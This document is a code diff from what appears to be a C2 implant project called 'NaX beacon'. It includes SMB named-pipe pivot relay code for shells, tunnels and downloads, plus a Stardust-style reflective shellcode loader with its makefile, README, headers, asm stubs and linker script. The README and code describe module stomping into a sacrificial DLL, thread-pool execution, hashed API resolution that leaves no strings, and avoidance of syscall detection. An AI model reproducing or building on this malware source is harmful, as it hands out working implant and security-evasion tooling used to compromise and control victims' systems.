pipe_ok = SmbRelayPivots( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent, &dataRelayed );
|
||||
|
||||
if ( pipe_ok && Nax->DownloadHead )
|
||||
pipe_ok = SmbRelayDownloads( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent );
|
||||
|
||||
if ( pipe_ok && Nax->JobHead )
|
||||
pipe_ok = SmbRelayJobs( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent );
|
||||
|
||||
if ( pipe_ok && Nax->ShellHead )
|
||||
pipe_ok = SmbRelayShells( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent );
|
||||
|
||||
BOOL tunnelRelayed = FALSE;
|
||||
if ( pipe_ok && Nax->TunnelHead ) {
|
||||
pipe_ok = SmbRelayTunnels( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent, &tunnelRelayed );
|
||||
if ( Nax->TunnelEvent && Nax->Ws2.WSAResetEvent )
|
||||
Nax->Ws2.WSAResetEvent( Nax->TunnelEvent );
|
||||
}
|
||||
|
||||
if ( anyPivotDataSent || dataRelayed || tunnelRelayed )
|
||||
justSentOutput = TRUE;
|
||||
if ( justSentOutput ) {
|
||||
pivotPollCount = 5;
|
||||
lastActivityTick = Nax->Kernel32.GetTickCount64();
|
||||
}
|
||||
}
|
||||
|
||||
Nax->Kernel32.FlushFileBuffers( hPipe );
|
||||
Nax->Kernel32.DisconnectNamedPipe( hPipe );
|
||||
NaxDbg( Nax, "parent disconnected, re-entering accept loop" );
|
||||
}
|
||||
}
|
||||
|
||||
/* ========= [ NaxSmbPost stub - satisfies linker for HTTP builds ] ========= */
|
||||
|
||||
FUNC INT NaxSmbPost( PNAX_INSTANCE Nax, const PWCHAR pipe_path, const PCHAR sid,
|
||||
const PBYTE body, UINT32 body_len,
|
||||
PBYTE resp_buf, UINT32* resp_len ) {
|
||||
return NAX_ERR_INVAL;
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env python3
|
||||
"""FNV1a-32 hash for NaX beacon API/module names - matches NaxHashStr in Ldr.c."""
|
||||
import sys
|
||||
|
||||
def fnv1a32(s: str) -> int:
|
||||
h = 0x811C9DC5
|
||||
for c in s.upper():
|
||||
h ^= ord(c)
|
||||
h = (h * 0x01000193) & 0xFFFFFFFF
|
||||
return h
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} Name [Name ...]", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
for name in sys.argv[1:]:
|
||||
key = name.upper().replace(".", "_").replace("-", "_")
|
||||
print(f"#define H_{key:<36} 0x{fnv1a32(name):08X}u /* {name} */")
|
||||
@@ -0,0 +1,21 @@
|
||||
cmake_minimum_required( VERSION 3.27 )
|
||||
project( Stardust )
|
||||
|
||||
set( CMAKE_CXX_STANDARD 11 )
|
||||
set( CMAKE_CXX_COMPILER x86_64-w64-mingw32-g++ )
|
||||
set( CMAKE_CXX_FLAGS ${COMPILE_FLAGS} )
|
||||
|
||||
set( CMAKE_C_STANDARD 11 )
|
||||
set( CMAKE_C_COMPILER x86_64-w64-mingw32-gcc )
|
||||
set( CMAKE_C_FLAGS ${COMPILE_FLAGS} )
|
||||
|
||||
include_directories( include )
|
||||
|
||||
set( STARDUST-SRC
|
||||
src/PreMain.c
|
||||
src/Main.c
|
||||
src/Ldr.c
|
||||
src/Utils.c
|
||||
)
|
||||
|
||||
add_executable( Stardust ${STARDUST-SRC} )
|
||||
@@ -0,0 +1,98 @@
|
||||
# NaX src_loader/makefile - build Stardust-style UDRL → bin/nax_loader.x64.bin
|
||||
#
|
||||
# Source layout:
|
||||
# asm/x64/Stardust.asm - Start / StRipStart / StRipEnd (entry + end marker)
|
||||
# src/PreMain.c - Stardust instance init, ntdll resolution, calls Main
|
||||
# src/Main.c - NAX UDRL: finds beacon, allocs RW, copies, RX, calls
|
||||
# src/Ldr.c - PEB-walk module + export resolver (LdrModulePeb / LdrFunction)
|
||||
# src/Utils.c - HashString (djb2-style, used by Ldr / HASH_STR)
|
||||
# include/ - Common.h, Macros.h, Defs.h, Constexpr.h, Native.h, ...
|
||||
#
|
||||
# Build pipeline:
|
||||
# NASM → bin/obj/asm_Stardust.x64.o
|
||||
# g++ → bin/obj/nax_XXXX.x64.o (compiled as C++ for constexpr / extern "C")
|
||||
# g++ → bin/nax_loader.x64.exe (linked with scripts/Linker.ld via -Wl,-T)
|
||||
# objcopy --dump-section .text → bin/nax_loader.x64.bin
|
||||
#
|
||||
# The final .bin is the raw shellcode blob: loader bytes followed immediately
|
||||
# by the appended beacon (combine.sh handles the concatenation).
|
||||
#
|
||||
# Requirements:
|
||||
# x86_64-w64-mingw32-g++
|
||||
# nasm
|
||||
# objcopy (binutils)
|
||||
|
||||
MAKEFLAGS += -s
|
||||
|
||||
##
|
||||
## Toolchain
|
||||
##
|
||||
CC_X64 := x86_64-w64-mingw32-g++
|
||||
NASM := nasm
|
||||
OBJCOPY := objcopy
|
||||
|
||||
##
|
||||
## Technique selection (overridable from parent Makefile)
|
||||
##
|
||||
NAX_STOMP_MODE ?= 1
|
||||
NAX_EXEC_MODE ?= 1
|
||||
|
||||
##
|
||||
## Compiler / linker flags (Stardust original flags preserved)
|
||||
##
|
||||
CFLAGS := -Os -fno-asynchronous-unwind-tables -nostdlib
|
||||
CFLAGS += -fno-ident -fpack-struct=8 -falign-functions=1
|
||||
CFLAGS += -s -ffunction-sections -falign-jumps=1 -w
|
||||
CFLAGS += -falign-labels=1 -fPIC
|
||||
CFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup
|
||||
CFLAGS += -Iinclude -masm=intel -fpermissive
|
||||
CFLAGS += -mno-sse -fno-exceptions -fno-builtin
|
||||
CFLAGS += -MMD -MP
|
||||
CFLAGS += -DNAX_STOMP_MODE=$(NAX_STOMP_MODE)
|
||||
CFLAGS += -DNAX_EXEC_MODE=$(NAX_EXEC_MODE)
|
||||
|
||||
##
|
||||
## Sources / objects
|
||||
##
|
||||
C_SRCS := src/PreMain.c src/Main.c src/Pe.c src/Stomp.c src/Exec.c src/Ldr.c src/Utils.c
|
||||
C_OBJS := $(patsubst src/%.c, bin/obj/nax_%.x64.o, $(C_SRCS))
|
||||
|
||||
ASM_OBJ := bin/obj/asm_Stardust.x64.o
|
||||
|
||||
EXE_X64 := bin/nax_loader.x64.exe
|
||||
BIN_X64 := bin/nax_loader.x64.bin
|
||||
|
||||
##
|
||||
## Targets
|
||||
##
|
||||
.PHONY: all clean
|
||||
|
||||
all: $(BIN_X64)
|
||||
|
||||
$(BIN_X64): $(EXE_X64)
|
||||
$(OBJCOPY) --dump-section .text=$(BIN_X64) $(EXE_X64) 2>/dev/null; true
|
||||
@touch $(BIN_X64)
|
||||
@echo " BIN $(BIN_X64) ($$(wc -c < $(BIN_X64)) bytes)"
|
||||
|
||||
$(EXE_X64): $(ASM_OBJ) $(C_OBJS)
|
||||
@echo "[+] link NAX loader x64"
|
||||
$(CC_X64) $(ASM_OBJ) $(C_OBJS) -o $(EXE_X64) \
|
||||
$(CFLAGS) -Wl,-Tscripts/Linker.ld 2>&1 || true
|
||||
|
||||
bin/obj/nax_%.x64.o: src/%.c | bin/obj
|
||||
@echo "[*] compile $<"
|
||||
$(CC_X64) -c $< -o $@ $(CFLAGS)
|
||||
|
||||
$(ASM_OBJ): asm/x64/Stardust.asm | bin/obj
|
||||
@echo "[*] assemble $<"
|
||||
$(NASM) -f win64 $< -o $@
|
||||
|
||||
bin/obj:
|
||||
mkdir -p bin/obj
|
||||
|
||||
# gcc auto-dependency files (-MMD -MP)
|
||||
C_DEPS := $(C_OBJS:.o=.d)
|
||||
-include $(C_DEPS)
|
||||
|
||||
clean:
|
||||
rm -rf bin/obj/*.o bin/obj/*.d bin/obj/*.obj bin/*.exe bin/*.bin
|
||||
@@ -0,0 +1,77 @@
|
||||
# NaX UDRL Loader
|
||||
|
||||
Position-independent User Defined Reflective Loader for the NaX beacon, based on the [Stardust](https://github.com/Cracked5pider/Stardust) template by Paul Ungur.
|
||||
|
||||
## What It Does
|
||||
|
||||
The loader is the first code that runs when the shellcode is injected. It:
|
||||
|
||||
1. Resolves its own base address and size (Stardust RIP-relative technique)
|
||||
2. Walks the PEB to find `ntdll.dll` and `kernel32.dll` by FNV1a hash
|
||||
3. Resolves `RtlAllocateHeap` and TLS APIs via export table walk + compile-time hashes
|
||||
4. Finds two consecutive TLS slots (egghunter) to store a global INSTANCE pointer
|
||||
5. Parses the NaxHeader v2 (160-byte structure between loader and beacon) to extract beacon size, .pdata/.xdata offsets, stomp flags, and sacrificial DLL name
|
||||
6. Places the beacon into executable memory (virtual allocation or module stomping)
|
||||
7. Transfers execution to the beacon entry point (thread pool or CreateThread)
|
||||
|
||||
## Techniques
|
||||
|
||||
Technique selection is compile-time via preprocessor defines:
|
||||
|
||||
| Define | Value | Technique |
|
||||
|--------|-------|-----------|
|
||||
| `NAX_STOMP_MODE` | `NAX_STOMP_VIRTUAL` (0) | `NtAllocateVirtualMemory` -- private RWX allocation |
|
||||
| `NAX_STOMP_MODE` | `NAX_STOMP_MODULE` (1) | Module stomp -- load sacrificial DLL, overwrite its `.text` section |
|
||||
| `NAX_EXEC_MODE` | `NAX_EXEC_THREAD` (0) | `CreateThread` -- start address = beacon entry |
|
||||
| `NAX_EXEC_MODE` | `NAX_EXEC_THREADPOOL` (1) | `TpAllocWork` + `TpPostWork` -- start address = `TppWorkerThread` |
|
||||
|
||||
### Module Stomping
|
||||
|
||||
When `NAX_STOMP_MODE == NAX_STOMP_MODULE`:
|
||||
|
||||
- Loads a sacrificial DLL with `LoadLibraryExW(DONT_RESOLVE_DLL_REFERENCES)` (no DllMain execution)
|
||||
- Writes the beacon into the DLL's `.text` section so it appears as image-backed memory (MEM_IMAGE)
|
||||
- Patches the LDR entry with flags: `ImageDll | LoadNotificationsSent | ProcessStaticImport | EntryProcessed`
|
||||
- Stomps valid `.pdata` (RUNTIME_FUNCTION) and `.xdata` (UNWIND_INFO) into the DLL for clean stack walks
|
||||
|
||||
## Hashing
|
||||
|
||||
All API and module resolution uses FNV1a-32:
|
||||
|
||||
- **Seed:** `0x811c9dc5` (`H_MAGIC_KEY`)
|
||||
- **Prime:** `0x01000193` (`H_MAGIC_PRIME`)
|
||||
- **Algorithm:** `Hash ^= Char; Hash *= Prime;` (XOR then multiply)
|
||||
- **Case-insensitive:** uppercased before hashing
|
||||
|
||||
Compile-time hashing via `HASH_STR()` (constexpr in C++ mode) ensures no API name strings appear in the shellcode.
|
||||
|
||||
## Source Files
|
||||
|
||||
```
|
||||
src/
|
||||
Entry.asm # NASM entry point, calls PreMain
|
||||
PreMain.c # Stardust bootstrap: RIP calc, PEB walk, TLS egghunter
|
||||
Main.c # API resolution, NaxHeader parsing, stomp/exec dispatch
|
||||
Ldr.c # LdrModulePeb (PEB walk), LdrFunction (export walk + forwarding)
|
||||
Pe.c # PE header helpers: NaxPeHeaders, NaxFindSection, NaxFindSectionByDir
|
||||
Stomp.c # Module stomping: NaxModuleStomp, NaxPatchLdr
|
||||
Exec.c # Execution transfer: NaxExecThreadPool, NaxExecThread
|
||||
Utils.c # HashString (FNV1a, case-insensitive)
|
||||
include/
|
||||
Common.h # Base types, PEB structures, compiler macros
|
||||
Constexpr.h # HASH_STR / ExprHashStringA (compile-time FNV1a)
|
||||
Defs.h # Pre-computed module/API hashes, NaxHeader layout
|
||||
Loader.h # Function prototypes for Stomp/Exec/Pe
|
||||
Macros.h # FUNC, STARDUST_INSTANCE, MmCopy, MmZero
|
||||
Native.h # NT structures (PEB, LDR, TEB, IMAGE_*)
|
||||
Utils.h # HashString prototype
|
||||
Ldr.h # LdrModulePeb, LdrFunction prototypes
|
||||
scripts/
|
||||
Linker.ld # Linker script for section ordering
|
||||
loader.c # Dev launcher: load shellcode into RWX, execute
|
||||
stomper.c # Dev launcher: load nax.bin, RX, CreateThread
|
||||
```
|
||||
|
||||
## Build
|
||||
|
||||
The loader is built as part of the top-level `make` from the repository root. It is compiled as C++ (`x86_64-w64-mingw32-g++`) to enable constexpr hash evaluation, then linked with a custom linker script and extracted as raw `.text` via `objcopy`.
|
||||
@@ -0,0 +1,48 @@
|
||||
;; NaX src_loader - entry stubs
|
||||
;;
|
||||
;; Sections:
|
||||
;; .text$A - Start / StRipStart
|
||||
;; .text$E - StRipEnd (MUST be last section)
|
||||
|
||||
[BITS 64]
|
||||
|
||||
DEFAULT REL
|
||||
|
||||
EXTERN PreMain
|
||||
|
||||
GLOBAL Start
|
||||
GLOBAL StRipStart
|
||||
GLOBAL StRipEnd
|
||||
|
||||
;; ========= [ .text$A - entry stubs ] =========
|
||||
[SECTION .text$A]
|
||||
|
||||
Start:
|
||||
push rsi
|
||||
mov rsi, rsp
|
||||
and rsp, 0FFFFFFFFFFFFFFF0h
|
||||
sub rsp, 020h
|
||||
call PreMain
|
||||
mov rsp, rsi
|
||||
pop rsi
|
||||
ret
|
||||
|
||||
StRipStart:
|
||||
lea rax, [Start]
|
||||
ret
|
||||
|
||||
;; ========= [ .text$E - end marker ] =========
|
||||
[SECTION .text$E]
|
||||
|
||||
StRipEnd:
|
||||
lea rax, [.loader_end] ; 7 bytes
|
||||
ret ; 1 byte
|
||||
nop ; 8 bytes of padding to fill 16-byte section
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
.loader_end:
|
||||
@@ -0,0 +1,94 @@
|
||||
#ifndef STARDUST_COMMON_H
|
||||
#define STARDUST_COMMON_H
|
||||
|
||||
//
|
||||
// system headers
|
||||
//
|
||||
#include <windows.h>
|
||||
|
||||
//
|
||||
// stardust headers
|
||||
//
|
||||
#include <Native.h>
|
||||
#include <Macros.h>
|
||||
#include <Ldr.h>
|
||||
#include <Defs.h>
|
||||
#include <Utils.h>
|
||||
|
||||
//
|
||||
// NAX UDRL instance pointer - stored in TLS via consecutive-slot egghunter
|
||||
// (no .global section, no NtProtectVirtualMemory on own pages).
|
||||
//
|
||||
|
||||
typedef struct _INSTANCE {
|
||||
|
||||
//
|
||||
// Base address (StRipStart) and total size of the loader blob.
|
||||
// beacon_src = Base.Buffer + Base.Length
|
||||
//
|
||||
BUFFER Base;
|
||||
|
||||
struct {
|
||||
|
||||
//
|
||||
// ntdll.dll - resolved in PreMain (PEB already has ntdll loaded)
|
||||
//
|
||||
D_API( RtlAllocateHeap ) /* heap alloc for INSTANCE itself */
|
||||
D_API( NtProtectVirtualMemory ) /* preserved for future direct-syscall use */
|
||||
D_API( VirtualProtect ) /* Win32 wrapper - avoids indirect syscall detection */
|
||||
|
||||
//
|
||||
// kernel32.dll - resolved in PreMain for TLS globals
|
||||
//
|
||||
D_API( TlsAlloc )
|
||||
D_API( TlsSetValue )
|
||||
D_API( TlsFree )
|
||||
|
||||
#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL
|
||||
D_API( NtAllocateVirtualMemory ) /* exec buffer alloc (VirtualAlloc) */
|
||||
#endif
|
||||
|
||||
#if NAX_EXEC_MODE == NAX_EXEC_THREADPOOL
|
||||
D_API( TpAllocWork ) /* schedule beacon on thread pool */
|
||||
D_API( TpPostWork ) /* submit work item to pool */
|
||||
D_API( TpReleaseWork ) /* release work object after exec */
|
||||
#endif
|
||||
|
||||
//
|
||||
// kernel32.dll - resolved in Main via PEB walk
|
||||
//
|
||||
#if NAX_STOMP_MODE == NAX_STOMP_MODULE
|
||||
D_API( LoadLibraryExW ) /* load sacrificial DLL for stomping */
|
||||
#endif
|
||||
|
||||
#if NAX_EXEC_MODE == NAX_EXEC_THREAD
|
||||
D_API( CreateThread ) /* spawn beacon on clean stack */
|
||||
#endif
|
||||
|
||||
#if NAX_STOMP_MODE == NAX_STOMP_MODULE
|
||||
D_API( GetProcessMitigationPolicy )
|
||||
BOOL ( __stdcall *SetProcessValidCallTargets )( HANDLE, PVOID, SIZE_T, ULONG, PVOID );
|
||||
#endif
|
||||
|
||||
} Win32;
|
||||
|
||||
struct {
|
||||
PVOID Ntdll;
|
||||
PVOID Kernel32;
|
||||
PVOID Kernelbase;
|
||||
} Modules;
|
||||
|
||||
#if NAX_STOMP_MODE == NAX_STOMP_MODULE
|
||||
PVOID StompDllBase;
|
||||
#endif
|
||||
|
||||
} INSTANCE, *PINSTANCE;
|
||||
|
||||
EXTERN_C PVOID StRipStart();
|
||||
EXTERN_C PVOID StRipEnd();
|
||||
|
||||
VOID Main(
|
||||
_In_ PVOID Param
|
||||
);
|
||||
|
||||
#endif //STARDUST_COMMON_H
|
||||
@@ -0,0 +1,32 @@
|
||||
#ifndef STARDUST_CONSTEXPR_H
|
||||
#define STARDUST_CONSTEXPR_H
|
||||
|
||||
#include <Common.h>
|
||||
|
||||
#define HASH_STR( x ) ExprHashStringA( ( x ) )
|
||||
|
||||
CONSTEXPR ULONG ExprHashStringA(
|
||||
_In_ PCHAR String
|
||||
) {
|
||||
ULONG Hash = { 0 };
|
||||
CHAR Char = { 0 };
|
||||
|
||||
Hash = H_MAGIC_KEY;
|
||||
|
||||
if ( ! String ) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
while ( ( Char = *String++ ) ) {
|
||||
if ( Char >= 'a' ) {
|
||||
Char -= 0x20;
|
||||
}
|
||||
|
||||
Hash ^= (UCHAR)Char;
|
||||
Hash *= H_MAGIC_PRIME;
|
||||
}
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
#endif //STARDUST_CONSTEXPR_H
|
||||
@@ -0,0 +1,88 @@
|
||||
#ifndef STARDUST_DEFS_H
|
||||
#define STARDUST_DEFS_H
|
||||
|
||||
#include <Common.h>
|
||||
|
||||
typedef struct _BUFFER {
|
||||
PVOID Buffer;
|
||||
ULONG Length;
|
||||
} BUFFER, *PBUFFER;
|
||||
|
||||
//
|
||||
// Hashing defines
|
||||
//
|
||||
#define H_MAGIC_KEY 0x811c9dc5
|
||||
#define H_MAGIC_PRIME 0x01000193
|
||||
#define H_MODULE_NTDLL 0x318a7963
|
||||
#define H_MODULE_KERNEL32 0x04a1a06a
|
||||
|
||||
//
|
||||
// NaxHeader v2 - placed between loader and beacon in nax.bin
|
||||
//
|
||||
// Layout: [loader][NaxHeader][beacon][pdata][xdata]
|
||||
// ^ ^ ^ ^
|
||||
// StRipStart() +HDR_SZ +beacon +pdata
|
||||
//
|
||||
#define NAX_HDR_MAGIC 0x4E415832 /* "NAX2" */
|
||||
#define NAX_HDR_SIZE 160 /* fixed header size (bytes) */
|
||||
#define NAX_HDR_DLL_MAX 64 /* max WCHAR chars for DLL name */
|
||||
|
||||
#define NAX_FLAG_MODULE_STOMP 0x0001 /* use module stomping instead of VirtualAlloc */
|
||||
#define NAX_FLAG_STOMP_PDATA 0x0002 /* stomp .pdata with unwind data */
|
||||
|
||||
//
|
||||
// On-disk header (no struct due to PIC - accessed via pointer arithmetic).
|
||||
//
|
||||
// Offset Size Field
|
||||
// 0 4 Magic (0x4E415832)
|
||||
// 4 4 BeaconSize (bytes)
|
||||
// 8 4 PdataSize (bytes, 0 = none)
|
||||
// 12 4 XdataSize (bytes, 0 = none)
|
||||
// 16 4 OrigTextRva (.text RVA from beacon EXE)
|
||||
// 20 4 Flags (NAX_FLAG_*)
|
||||
// 24 128 StompDll (WCHAR[64], NUL-terminated, zero-padded)
|
||||
// 152 8 Reserved
|
||||
// --- total: 160 bytes ---
|
||||
//
|
||||
#define NAX_HDR_OFF_MAGIC 0
|
||||
#define NAX_HDR_OFF_BEACON_SZ 4
|
||||
#define NAX_HDR_OFF_PDATA_SZ 8
|
||||
#define NAX_HDR_OFF_XDATA_SZ 12
|
||||
#define NAX_HDR_OFF_TEXT_RVA 16
|
||||
#define NAX_HDR_OFF_FLAGS 20
|
||||
#define NAX_HDR_OFF_DLL_NAME 24
|
||||
#define NAX_HDR_OFF_RESERVED 152
|
||||
|
||||
//
|
||||
// Stomp context tag - written by loader at TextBase + BeaconSize
|
||||
// so beacon can discover the clean .text backup at boot.
|
||||
//
|
||||
#define NAX_STOMP_CTX_MAGIC 0x4E415854 /* "NAXT" */
|
||||
|
||||
//
|
||||
// Compile-time technique selection
|
||||
//
|
||||
// NAX_STOMP_MODE: which memory allocation strategy the loader uses
|
||||
// 0 = VirtualAlloc (private memory, PAGE_EXECUTE_READ)
|
||||
// 1 = Module stomp (image-backed, sacrificial DLL .text)
|
||||
//
|
||||
// NAX_EXEC_MODE: how the beacon thread is started
|
||||
// 0 = CreateThread (clean stack, but start address = beacon entry)
|
||||
// 1 = Thread pool (start address = ntdll!TppWorkerThread)
|
||||
//
|
||||
#define NAX_STOMP_VIRTUAL 0
|
||||
#define NAX_STOMP_MODULE 1
|
||||
|
||||
#define NAX_EXEC_THREAD 0
|
||||
#define NAX_EXEC_THREADPOOL 1
|
||||
|
||||
#ifndef NAX_STOMP_MODE
|
||||
#define NAX_STOMP_MODE NAX_STOMP_MODULE
|
||||
#endif
|
||||
|
||||
#ifndef NAX_EXEC_MODE
|
||||
#define NAX_EXEC_MODE NAX_EXEC_THREADPOOL
|
||||
#endif
|
||||
|
||||
|
||||
#endif //STARDUST_DEFS_H
|
||||
@@ -0,0 +1,15 @@
|
||||
#ifndef STARDUST_LDR_H
|
||||
#define STARDUST_LDR_H
|
||||
|
||||
#include <Common.h>
|
||||
|
||||
PVOID LdrModulePeb(
|
||||
_In_ ULONG Hash
|
||||
);
|
||||
|
||||
PVOID LdrFunction(
|
||||
_In_ PVOID Module,
|
||||
_In_ ULONG Function
|
||||
);
|
||||
|
||||
#endif //STARDUST_LDR_H
|
||||
@@ -0,0 +1,42 @@
|
||||
#ifndef NAX_LOADER_H
|
||||
#define NAX_LOADER_H
|
||||
|
||||
#include <Common.h>
|
||||
|
||||
/* ========= [ Pe.c ] ========= */
|
||||
|
||||
PIMAGE_NT_HEADERS NaxPeHeaders( PVOID Base );
|
||||
PIMAGE_SECTION_HEADER NaxFindSection( PIMAGE_NT_HEADERS Nt, ULONG Characteristics );
|
||||
PIMAGE_SECTION_HEADER NaxFindSectionByDir( PIMAGE_NT_HEADERS Nt, ULONG DirIndex );
|
||||
|
||||
/* ========= [ Stomp.c ] ========= */
|
||||
|
||||
#if NAX_STOMP_MODE == NAX_STOMP_MODULE
|
||||
VOID NaxPatchLdr( PVOID DllBase );
|
||||
PVOID NaxModuleStomp(
|
||||
_In_ PVOID HdrPtr,
|
||||
_In_ PVOID BeaconSrc,
|
||||
_In_ ULONG BeaconSize,
|
||||
_In_ PVOID PdataSrc,
|
||||
_In_ ULONG PdataSize,
|
||||
_In_ PVOID XdataSrc,
|
||||
_In_ ULONG XdataSize,
|
||||
_In_ ULONG OrigTextRva,
|
||||
_In_ PWCHAR DllName );
|
||||
#endif
|
||||
|
||||
/* ========= [ Exec.c ] ========= */
|
||||
|
||||
#if NAX_EXEC_MODE == NAX_EXEC_THREADPOOL
|
||||
VOID NaxExecThreadPool( PVOID Entry );
|
||||
#elif NAX_EXEC_MODE == NAX_EXEC_THREAD
|
||||
VOID NaxExecThread( PVOID Entry );
|
||||
#endif
|
||||
|
||||
/* ========= [ Main.c ] ========= */
|
||||
|
||||
#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL
|
||||
PVOID NaxAllocExec( _In_ PVOID BeaconSrc, _In_ ULONG BeaconSize );
|
||||
#endif
|
||||
|
||||
#endif /* NAX_LOADER_H */
|
||||
@@ -0,0 +1,97 @@
|
||||
#ifndef STARDUST_MACROS_H
|
||||
#define STARDUST_MACROS_H
|
||||
|
||||
//
|
||||
// utils macros
|
||||
//
|
||||
#define D_API( x ) __typeof__( x ) * x;
|
||||
#define D_SEC( x ) __attribute__( ( section( ".text$" #x "" ) ) )
|
||||
#define FUNC D_SEC( B )
|
||||
#define ST_READONLY __attribute__( ( section( ".rdata" ) ) )
|
||||
|
||||
//
|
||||
// casting macros
|
||||
//
|
||||
#define C_PTR( x ) ( ( PVOID ) ( x ) )
|
||||
#define U_PTR( x ) ( ( UINT_PTR ) ( x ) )
|
||||
#define U_PTR32( x ) ( ( ULONG ) ( x ) )
|
||||
#define U_PTR64( x ) ( ( ULONG64 ) ( x ) )
|
||||
#define A_PTR( x ) ( ( PCHAR ) ( x ) )
|
||||
#define W_PTR( x ) ( ( PWCHAR ) ( x ) )
|
||||
|
||||
//
|
||||
// dereference memory macros
|
||||
//
|
||||
#define C_DEF( x ) ( * ( PVOID* ) ( x ) )
|
||||
#define C_DEF08( x ) ( * ( UINT8* ) ( x ) )
|
||||
#define C_DEF16( x ) ( * ( UINT16* ) ( x ) )
|
||||
#define C_DEF32( x ) ( * ( UINT32* ) ( x ) )
|
||||
#define C_DEF64( x ) ( * ( UINT64* ) ( x ) )
|
||||
|
||||
//
|
||||
// memory related macros
|
||||
//
|
||||
#define MmCopy __builtin_memcpy
|
||||
#define MmSet __stosb
|
||||
#define MmZero RtlSecureZeroMemory
|
||||
|
||||
//
|
||||
// page alignment helpers (LDR_ prefix avoids collisions with beacon headers)
|
||||
//
|
||||
#define LDR_PAGE_SIZE 0x1000
|
||||
#define LDR_PAGE_MASK 0xFFF
|
||||
#define ALIGN_UP( size, align ) ( ( (SIZE_T)(size) + (SIZE_T)(align) - 1 ) & ~( (SIZE_T)(align) - 1 ) )
|
||||
|
||||
//
|
||||
// CFG / mitigation policy constants
|
||||
//
|
||||
#define LDR_PROCESS_CFG_GUARD_POLICY 7 /* ProcessControlFlowGuardPolicy */
|
||||
#define LDR_CFG_CALL_TARGET_VALID 1 /* CFG_CALL_TARGET_VALID flag */
|
||||
|
||||
//
|
||||
// instance related macros - TLS egghunter retrieval
|
||||
// Walks TEB->TlsSlots[0..63], finds NtCurrentPeb() egg, reads next slot.
|
||||
//
|
||||
static __inline__ PVOID __TlsFindInstance( void ) {
|
||||
PVOID peb = C_PTR( NtCurrentPeb() );
|
||||
PTEB teb = NtCurrentTeb();
|
||||
for ( UINT32 i = 0; i < 63; i++ ) {
|
||||
if ( teb->TlsSlots[ i ] == peb )
|
||||
return teb->TlsSlots[ i + 1 ];
|
||||
}
|
||||
return C_PTR( 0 );
|
||||
}
|
||||
#define InstancePtr() ( ( PINSTANCE ) __TlsFindInstance() )
|
||||
#define Instance() ( ( PINSTANCE ) __LocalInstance )
|
||||
#define STARDUST_INSTANCE PINSTANCE __LocalInstance = InstancePtr();
|
||||
|
||||
//
|
||||
// instance field shortcuts (ZPS Extending Stardust pattern)
|
||||
//
|
||||
#define MOD( x ) Instance()->Modules.x
|
||||
#define API( x ) Instance()->Win32.x
|
||||
#define RESOLVE( x, y ) ( API( x ) = (__typeof__( x )*)LdrFunction( MOD( y ), HASH_STR( #x ) ) )
|
||||
|
||||
//
|
||||
// NaxHeader v2 - typed reads from on-disk header pointer
|
||||
//
|
||||
#define HDR_U32( h, off ) C_DEF32( C_PTR( U_PTR( h ) + (off) ) )
|
||||
#define HDR_WSTR( h, off ) W_PTR( U_PTR( h ) + (off) )
|
||||
|
||||
//
|
||||
// pointer past the loader blob = start of NaxHeader
|
||||
//
|
||||
#define LOADER_END() C_PTR( U_PTR( Instance()->Base.Buffer ) + Instance()->Base.Length )
|
||||
|
||||
/* Clion IDE hacks */
|
||||
#ifdef __cplusplus
|
||||
#define CONSTEXPR constexpr
|
||||
#define TEMPLATE_TYPENAME template <typename T>
|
||||
#define INLINE inline
|
||||
#else
|
||||
#define CONSTEXPR
|
||||
#define TEMPLATE_TYPENAME
|
||||
#define INLINE
|
||||
#endif
|
||||
|
||||
#endif //STARDUST_MACROS_H
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,9 @@
|
||||
#ifndef STARDUST_UTILS_H
|
||||
#define STARDUST_UTILS_H
|
||||
|
||||
ULONG HashString(
|
||||
_In_ PVOID String,
|
||||
_In_ SIZE_T Length
|
||||
);
|
||||
|
||||
#endif //STARDUST_UTILS_H
|
||||
@@ -0,0 +1,40 @@
|
||||
/* NaX src_loader/scripts/Linker.ld
|
||||
* Stardust linker script adapted for the NAX UDRL.
|
||||
*
|
||||
* Section ordering (CRITICAL):
|
||||
* .text$A - ASM entry stubs (Start, StRipStart)
|
||||
* .text$B - C loader body (PreMain, Main, Ldr, Utils)
|
||||
* .rdata* - read-only string literals / GCC ident strings
|
||||
* .data* - GCC-emitted WCHAR initialiser copies for local arrays;
|
||||
* -Os lifts compound initializers to .data → must be here
|
||||
* or RIP-relative refs land in zero memory at runtime.
|
||||
* .text$E - StRipEnd stub (MUST be last - its return value
|
||||
* equals the loader end address = beacon start in the blob)
|
||||
*
|
||||
* No .global section - INSTANCE pointer is stored via TLS egghunter
|
||||
* (consecutive slots with NtCurrentPeb() egg). No ALIGN(0x1000) needed.
|
||||
*
|
||||
* No .text$P ("STARDUST-END" marker) - build.py is not used.
|
||||
* objcopy --dump-section .text extracts the complete blob; StRipEnd's
|
||||
* `add rax, 0x0a` is calibrated for this exact 15-byte .text$E section. */
|
||||
|
||||
LINK_BASE = 0x0000;
|
||||
|
||||
ENTRY( Start )
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = LINK_BASE;
|
||||
.text : {
|
||||
. = LINK_BASE;
|
||||
*( .text$A );
|
||||
*( .text$B );
|
||||
*( .rdata* );
|
||||
*( .data* );
|
||||
*( .text$E );
|
||||
}
|
||||
|
||||
.eh_frame : {
|
||||
*( .eh_frame )
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
